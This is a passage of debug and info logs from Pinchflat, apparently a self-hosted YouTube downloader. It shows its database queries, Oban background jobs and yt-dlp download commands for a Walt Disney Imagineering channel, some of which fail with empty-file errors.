idle=302.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 19:13:05.823 [debug] QUERY OK source="media_profiles" db=0.1ms idle=302.5ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 19:13:05.823 [debug] QUERY OK source="media_items" db=0.2ms idle=7.9ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [12001] 19:13:05.824 [debug] QUERY OK source="media_metadata" db=0.0ms idle=2.1ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [12001] 19:13:05.824 [debug] QUERY OK source="media_profiles" db=0.1ms idle=1.8ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 19:13:05.824 [debug] QUERY OK source="settings" db=0.1ms idle=1.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:13:05.825 [debug] QUERY OK source="settings" db=0.0ms idle=1.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:13:05.825 [debug] Running yt-dlp command for action: get_downloadable_status 19:13:05.825 [debug] QUERY OK source="settings" db=0.0ms idle=1.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:13:05.825 [debug] QUERY OK source="settings" db=0.0ms idle=1.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:13:05.826 [debug] QUERY OK source="settings" db=0.0ms idle=1.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:13:05.826 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=d-WdUYdOdHY --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/f4/5b/f45b74b251c9a4f359e08d231f714b9b510dd03cdbefbb20cd0d9b9e860a3da9.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 19:13:11.528 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=d-WdUYdOdHY --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/f4/5b/f45b74b251c9a4f359e08d231f714b9b510dd03cdbefbb20cd0d9b9e860a3da9.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: 19:13:11.528 [debug] Running yt-dlp command for action: download 19:13:11.528 [debug] QUERY OK source="settings" db=0.1ms idle=706.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:13:11.529 [debug] QUERY OK source="settings" db=0.0ms idle=8.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:13:11.529 [debug] QUERY OK source="settings" db=0.0ms idle=8.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:13:11.529 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=d-WdUYdOdHY --no-simulate --no-progress --no-force-overwrites --parse-metadata %(upload_date>%Y-%m-%d)s:(?P.+) --write-thumbnail --convert-thumbnail jpg --output thumbnail:/downloads/Walt Disney Imagineering/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S]-thumb.%(ext)S --embed-thumbnail --convert-thumbnail jpg --write-info-json --clean-info-json --embed-metadata --remux-video mp4 --format-sort res:1080,+codec:avc:m4a --format bestvideo*+bestaudio/best --sponsorblock-mark sponsor,intro,selfpromo,filler,interaction --output /downloads/Walt Disney Imagineering/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --print-to-file after_move:%()j /tmp/pinchflat/data/e3/ad/e3ad19ac1e674a51a5ac680d5bba789f2f6769b8c9437d0932b6221bcf5090a4.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 19:13:20.003 [info] {"source":"oban","duration":644,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:13:50.004 [info] {"source":"oban","duration":674,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:13:57.538 [error] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=D2bWh5wTlZ0 --no-simulate --no-progress --no-force-overwrites --parse-metadata %(upload_date>%Y-%m-%d)s:(?P.+) --write-thumbnail --convert-thumbnail jpg --output thumbnail:/downloads/Walt Disney Imagineering/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S]-thumb.%(ext)S --embed-thumbnail --convert-thumbnail jpg --write-info-json --clean-info-json --embed-metadata --remux-video mp4 --format-sort res:1080,+codec:avc:m4a --format bestvideo*+bestaudio/best --sponsorblock-mark sponsor,intro,selfpromo,filler,interaction --output /downloads/Walt Disney Imagineering/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --print-to-file after_move:%()j /tmp/pinchflat/data/cc/3e/cc3e1b2756793b67dfe71ed8244c8294e8340fdd5b30d089ced3dd36ad9faa1a.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 1 with: ERROR: The downloaded file is empty 19:13:57.538 [error] yt-dlp download error for media item #11511: "ERROR: The downloaded file is empty\n" 19:13:57.539 [info] {"error":"** (Oban.PerformError) Pinchflat.Downloading.MediaDownloadWorker failed with {:error, :download_failed}","args":{"id":11511},"id":1736,"meta":{},"state":"failure","max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","duration":301995247,"event":"job:exception","queue_time":379024,"attempt":3,"tags":["media_item","media_fetching","show_in_dashboard"]} 19:14:00.981 [info] {"source":"oban","duration":177,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 19:14:12.054 [error] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=d-WdUYdOdHY --no-simulate --no-progress --no-force-overwrites --parse-metadata %(upload_date>%Y-%m-%d)s:(?P.+) --write-thumbnail --convert-thumbnail jpg --output thumbnail:/downloads/Walt Disney Imagineering/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S]-thumb.%(ext)S --embed-thumbnail --convert-thumbnail jpg --write-info-json --clean-info-json --embed-metadata --remux-video mp4 --format-sort res:1080,+codec:avc:m4a --format bestvideo*+bestaudio/best --sponsorblock-mark sponsor,intro,selfpromo,filler,interaction --output /downloads/Walt Disney Imagineering/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --print-to-file after_move:%()j /tmp/pinchflat/data/e3/ad/e3ad19ac1e674a51a5ac680d5bba789f2f6769b8c9437d0932b6221bcf5090a4.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 1 with: ERROR: The downloaded file is empty 19:14:12.054 [error] yt-dlp download error for media item #12001: "ERROR: The downloaded file is empty\n" 19:14:12.055 [info] {"error":"** (Oban.PerformError) Pinchflat.Downloading.MediaDownloadWorker failed with {:error, :download_failed}","args":{"id":12001},"id":1735,"meta":{},"state":"failure","max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","duration":66232687,"event":"job:exception","queue_time":466830,"attempt":8,"tags":["media_item","media_fetching","show_in_dashboard"]} 19:14:20.005 [info] {"source":"oban","duration":643,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:14:20.899 [info] {"args":{"id":11511},"id":1736,"meta":{},"system_time":1774998860899422146,"max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","event":"job:start","attempt":4,"tags":["media_item","media_fetching","show_in_dashboard"]} 19:14:20.899 [debug] QUERY OK source="media_items" db=0.1ms idle=1378.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [11511] 19:14:20.899 [info] User scripts lifecyle file either not present or is empty. Skipping. 19:14:20.900 [debug] QUERY OK source="sources" db=0.1ms idle=1008.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 19:14:20.900 [debug] QUERY OK source="media_profiles" db=0.1ms idle=895.3ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 19:14:20.901 [debug] QUERY OK source="media_items" db=0.2ms idle=8.2ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [11511] 19:14:20.901 [debug] QUERY OK source="media_metadata" db=0.1ms idle=2.0ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [11511] 19:14:20.901 [debug] QUERY OK source="media_profiles" db=0.1ms idle=1.8ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 19:14:20.902 [debug] QUERY OK source="settings" db=0.1ms idle=1.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:14:20.902 [debug] QUERY OK source="settings" db=0.0ms idle=1.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:14:20.902 [debug] Running yt-dlp command for action: get_downloadable_status 19:14:20.903 [debug] QUERY OK source="settings" db=0.1ms idle=1.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:14:20.903 [debug] QUERY OK source="settings" db=0.1ms idle=1.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:14:20.903 [debug] QUERY OK source="settings" db=0.0ms idle=1.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:14:20.903 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=D2bWh5wTlZ0 --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/9c/94/9c94968f55ca18a13dc978e6b9999f95c765d381431c2de765210802aa6e0fcd.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 19:14:24.667 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=D2bWh5wTlZ0 --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/9c/94/9c94968f55ca18a13dc978e6b9999f95c765d381431c2de765210802aa6e0fcd.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: 19:14:24.668 [debug] Running yt-dlp command for action: download 19:14:24.668 [debug] QUERY OK source="settings" db=0.1ms idle=771.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:14:24.668 [debug] QUERY OK source="settings" db=0.1ms idle=147.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:14:24.668 [debug] QUERY OK source="settings" db=0.1ms idle=148.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:14:24.669 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=D2bWh5wTlZ0 --no-simulate --no-progress --no-force-overwrites --parse-metadata %(upload_date>%Y-%m-%d)s:(?P.+) --write-thumbnail --convert-thumbnail jpg --output thumbnail:/downloads/Walt Disney Imagineering/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S]-thumb.%(ext)S --embed-thumbnail --convert-thumbnail jpg --write-info-json --clean-info-json --embed-metadata --remux-video mp4 --format-sort res:1080,+codec:avc:m4a --format bestvideo*+bestaudio/best --sponsorblock-mark sponsor,intro,selfpromo,filler,interaction --output /downloads/Walt Disney Imagineering/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --print-to-file after_move:%()j /tmp/pinchflat/data/79/35/7935b86ba054aded0123b6bad26b8e37ffdc44face99601e63941b0925534a25.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 19:14:50.006 [info] {"source":"oban","duration":680,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:15:00.982 [info] {"source":"oban","duration":161,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 19:15:20.007 [info] {"source":"oban","duration":575,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:15:35.990 [info] {"args":{"id":13020},"id":1733,"meta":{},"system_time":1774998935990398320,"max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","event":"job:start","attempt":9,"tags":["media_item","media_fetching","show_in_dashboard"]} 19:15:35.990 [debug] QUERY OK source="media_items" db=0.2ms idle=1470.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [13020] 19:15:35.991 [info] User scripts lifecyle file either not present or is empty. Skipping. 19:15:35.991 [debug] QUERY OK source="sources" db=0.1ms idle=1009.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 19:15:35.991 [debug] QUERY OK source="media_profiles" db=0.1ms idle=470.8ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 19:15:35.992 [debug] QUERY OK source="media_items" db=0.2ms idle=8.3ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [13020] 19:15:35.992 [debug] QUERY OK source="media_metadata" db=0.0ms idle=2.3ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [13020] 19:15:35.993 [debug] QUERY OK source="media_profiles" db=0.1ms idle=1.8ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 19:15:35.993 [debug] QUERY OK source="settings" db=0.0ms idle=1.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:15:35.993 [debug] QUERY OK source="settings" db=0.0ms idle=1.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:15:35.993 [debug] Running yt-dlp command for action: get_downloadable_status 19:15:35.994 [debug] QUERY OK source="settings" db=0.0ms idle=1.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:15:35.994 [debug] QUERY OK source="settings" db=0.0ms idle=1.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:15:35.994 [debug] QUERY OK source="settings" db=0.0ms idle=1.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:15:35.994 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=4H_VF0Dw4gA --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/b5/44/b54469ba69a6d13f3b90efa68a78041b0081a3acf711a50f0c19a521ad1d4d80.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 19:15:41.208 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=4H_VF0Dw4gA --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/b5/44/b54469ba69a6d13f3b90efa68a78041b0081a3acf711a50f0c19a521ad1d4d80.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: 19:15:41.208 [debug] Running yt-dlp command for action: download 19:15:41.208 [debug] QUERY OK source="settings" db=0.1ms idle=1687.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:15:41.208 [debug] QUERY 